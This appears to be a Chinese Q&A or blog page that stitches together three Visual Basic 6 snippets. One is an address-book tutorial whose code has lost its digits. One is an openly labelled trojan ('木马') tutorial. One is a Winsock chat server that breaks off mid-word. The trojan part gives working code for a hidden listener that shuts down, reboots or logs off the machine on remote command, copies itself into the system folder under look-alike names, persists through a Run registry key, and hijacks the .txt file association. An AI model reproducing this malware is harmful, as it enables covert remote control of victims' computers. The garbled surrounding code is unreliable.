实用技术之用VB做通讯录

实用技术之用VB做通讯录,第1张

   如果你平时有许多同学和朋友的信息 试试在电脑上编写一个我这样的通讯录 很方便的哟    先新建一个工程 在 工具箱 >右键 >部件 添加 Microsoft windows mon contr ol 然后在窗体上添加五个标签 标题 分别为 姓名 电话 Oicq E Mail 地址      添加一个文本框(text ) 然后[复制/粘贴 次]使其成为控件数组      添加一个Listview控件(Listview ) 在其属性框中 添加五个 列首 文本 值分别为 姓名 电话 Oicq E Mail 地址 查看属性 为 lvwReport 选中 整行选择 取消 隐藏选择      添加两个按钮 其标题属性分别为 添加 删除 添加如下代码 Option ExplicitDim fileName As String Private Sub Command _Click() 将文本框中的信息添加到列表框中Dim i As Integer With ListView ListItems Add() Text = Text ( )For i = To SubItems(i) = Text (i) Next i End WithEnd SubPrivate Sub Command _Click() 删除列表框中信息If ListView ListItems Count >Then If MsgBox( 真的要删除吗? vbQuestion + vbYesNo + vbDefaultButton ) = vbYes Then ListView ListItems Remove ListView SelectedItem Index End IfEnd IfEnd SubPrivate Sub Form_Load()Dim tpStr As String i As IntegerfileName = App Path &\data txt If Dir(fileName) <>Then  加载数据 Open fileName For Input As # Do While Not EOF( ) With ListView ListItems Add()For i = To  Line Input # tpStr If i = Then Text = tpStr Else SubItems(i) = tpStr End IfNext i End WithLoop Close # End IfEnd SubPrivate Sub Form_Unload(Cancel As Integer)Dim i As IntegerDim tpList As ListItem 保存数据Open fileName For Output As #  For Each tpList In ListView ListItemsPrint # tpList TextFor i = To  Print # tpList SubItems(i)Next i Next tpListClose # End Sub本程序已在windows +VB 环境下调试通过 lishixinzhi/Article/program/net/201311/11502

首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。\x0d\x0a接下来我们回来frmServer窗体模块中,添加如下代码:\x0d\x0aPrivate Sub form_Load()\x0d\x0a With Me\x0d\x0a .sckServer.LocalPort = 4000‘本地端口\x0d\x0a .sckServer.Listen ‘开始监听\x0d\x0a End With\x0d\x0aEnd Sub\x0d\x0a‘接受客户端的连接请求。\x0d\x0aPrivate Sub sckServer_ConnectionRequest(ByVal requestID As Long)\x0d\x0a With Me\x0d\x0a If .sckServer.State sckClosed Then .sckServer.Close\x0d\x0a .sckServer.Accept (requestID)\x0d\x0a End With\x0d\x0aEnd Sub\x0d\x0a下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:\x0d\x0aPrivate Sub form_Load()\x0d\x0a With Me\x0d\x0a .sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。\x0d\x0a .sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.\x0d\x0a End With\x0d\x0aEnd Sub\x0d\x0aPrivate sub cmdConnect_Click()\x0d\x0aSckClient.Connect\x0d\x0aEnd sub\x0d\x0a至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。\x0d\x0a这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能———关机,重启,注销。好,开始吧!\x0d\x0a在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:\x0d\x0a Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long\x0d\x0aPublic Const EWX_LOGOFF = 0\x0d\x0aPublic Const EWX_REBOOT = 2\x0d\x0aPublic Const EWX_SHUTDOWN = 1\x0d\x0aPublic Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long\x0d\x0aPublic Type RECT\x0d\x0a Left As Long\x0d\x0a Top As Long\x0d\x0a Right As Long\x0d\x0a Bottom As Long\x0d\x0aEnd Type\x0d\x0a注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。\x0d\x0a下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启 *** 作。分别添加如下代码:\x0d\x0aPrivate Sub cmdExit_Click()\x0d\x0a Me.sckClient.SendData "Exit"\x0d\x0aEnd Sub\x0d\x0a\x0d\x0aPrivate Sub cmdLogoff_Click()\x0d\x0a Me.sckClient.SendData "Logoff"\x0d\x0aEnd Sub\x0d\x0a\x0d\x0aPrivate Sub cmdReboot_Click()\x0d\x0a Me.sckClient.SendData "Reboot"\x0d\x0aEnd Sub\x0d\x0a全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。\x0d\x0aPrivate Sub sckServer_DataArrival(ByVal bytesTotal As Long)\x0d\x0a Dim strData As String\x0d\x0a With Me\x0d\x0a '' 接收客户请求的信息\x0d\x0a .sckServer.GetData strData\x0d\x0a Select Case strData\x0d\x0a Case "Exit"\x0d\x0a ''关机\x0d\x0a Call ExitWindowsEx(EWX_SHUTDOWN, 0)\x0d\x0a Case "Reboot"\x0d\x0a ''重启\x0d\x0a Call ExitWindowsEx(EWX_REBOOT, 0)\x0d\x0a Case "Logoff"\x0d\x0a ''注销\x0d\x0a Call ExitWindowsEx(EWX_LOGOFF, 0)\x0d\x0a End Select\x0d\x0a End With\x0d\x0aEnd Sub\x0d\x0a好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!\x0d\x0a回到Server工程中的modApi中加入如下API函数:\x0d\x0aPublic Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\x0d\x0aPublic Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\x0d\x0aPublic Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\x0d\x0aPublic Const REG_BINARY = 3\x0d\x0aPublic Const REG_SZ = 1\x0d\x0aPublic Const HKEY_LOCAL_MACHINE = &H80000002\x0d\x0aPublic Const HKEY_CLASSES_ROOT = &H80000000\x0d\x0a写到注册表启动组中的过程。\x0d\x0aPublic Sub StartupGroup()\x0d\x0a Dim sKey As String\x0d\x0a Dim result As Long\x0d\x0a Dim hKeyID As Long\x0d\x0a Dim sKeyVal As String\x0d\x0a \x0d\x0a sKey = "Systrsy" ''启动组中的键,找一个与系统文件相近的。\x0d\x0a sKeyVal = "C:\windows\system\systrsy.exe" ''木马文件的路径,可以用GetSystemDirectory来取得系统路径。\x0d\x0a result = RegOpenKey(HKEY_LOCAL_MACHINE, _\x0d\x0a "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)\x0d\x0a If result = 0 Then\x0d\x0a result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _\x0d\x0a Len(sKey) + 1)\x0d\x0a End If\x0d\x0aEnd Sub\x0d\x0a好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:\x0d\x0aPublic Sub WriteToTxt()\x0d\x0a Dim result As Long\x0d\x0a Dim hKeyID As Long\x0d\x0a Dim skey As String\x0d\x0a Dim skeyVal As String\x0d\x0a skey = "txtfile\shell\open\command"\x0d\x0a skeyVal = "C:\windows\system\txtView.exe"\x0d\x0a result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)\x0d\x0a If result = 0 Then\x0d\x0a result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _\x0d\x0a skeyVal, Len(skeyVal) + 1)\x0d\x0a End If\x0d\x0aEnd Sub\x0d\x0a肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。\x0d\x0a好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:\x0d\x0aDim sCurrentPath As String, sSystemDir As String\x0d\x0a sCurrentPath = App.Path &"\" &App.EXEName &".exe"\x0d\x0a sSystemDir = “C:\windows\system”\x0d\x0a On Error Resume Next\x0d\x0a‘复制文件成系统目录下的Systrsy.exe\x0d\x0a FileCopy sCurrentPath, sSystemDir &"\Systrsy.exe"\x0d\x0a On Error Resume Next\x0d\x0a复制文件成系统目录下的txtView.exe\x0d\x0a FileCopy sCurrentPath, sSystemDir &"\txtView.exe"\x0d\x0a\x0d\x0a调用\x0d\x0aCall startupGroup\x0d\x0aCall WriteToTxt\x0d\x0a\x0d\x0a''判断程序是否下在运行\x0d\x0a If App.PrevInstance Then\x0d\x0a ‘如果已经运行就退出。\x0d\x0a End\x0d\x0a End If

一个server端

Private Sub Command1_Click()

End

End Sub

Private Sub Command2_Click()

Winsockserver.SendData Text4.Text + ":" + textsend.Text

textget.Text = textget.Text + vbCrLf + Text4.Text + ":" + textsend.Text + " " + Str(Time)

textsend.Text = ""

End Sub

Private Sub Form_Load()

Command2.Visible = False

textsend.Visible = False

Text4.Visible = False

textget.Visible = False

Label1.Visible = False

Winsockserver.LocalPort = 1001

Winsockserver.Listen

End Sub

Private Sub textsend_Change()

'Winsockserver.SendData textsend.text

End Sub

Private Sub textsend_KeyPress(KeyAscii As Integer)

'If KeyAscii = 13 Then

'Winsockserver.SendData textsend.text

'textsend.text = ""

If KeyAscii = 13 Then

Winsockserver.SendData textsend.Text

' Text1.text = Text1.text + vbCrLf + Text4.text + ": " + Text2.text + " " + Str(Time)

textsend.Text = ""

End If

End Sub

Private Sub Timer1_Timer()

If Text4.Text = "" Then Text4.Text = "no name"

End Sub

Private Sub Winsockserver_Close()

Winsockserver.Close

End

End Sub

Private Sub Winsockserver_ConnectionRequest(ByVal requestID As Long)

Command2.Visible = True

textsend.Visible = True

textget.Visible = True

Text4.Visible = True

Label1.Visible = True

If Winsockserver.State <>sckClosed Then Winsockserver.Close

Winsockserver.Accept requestID

End Sub

Private Sub Winsockserver_DataArrival(ByVal bytesTotal As Long)

Dim tmpstr As String

Winsockserver.GetData tmpstr

'textget.text = textget + tmpstr + textsend

textget.Text = textget.Text + vbCrLf + tmpstr + " " + Str(Time)

End Sub

'(1)Command1:退出按钮;

'(2)textsend:发送数据文本框;

'(3)Winsockserver: 服务器Winsock;

'(4)textget :接收数据文本框。

一个clien


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/8109164.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-13
下一篇 2023-04-13

发表评论

登录后才能评论

评论列表(0条)

保存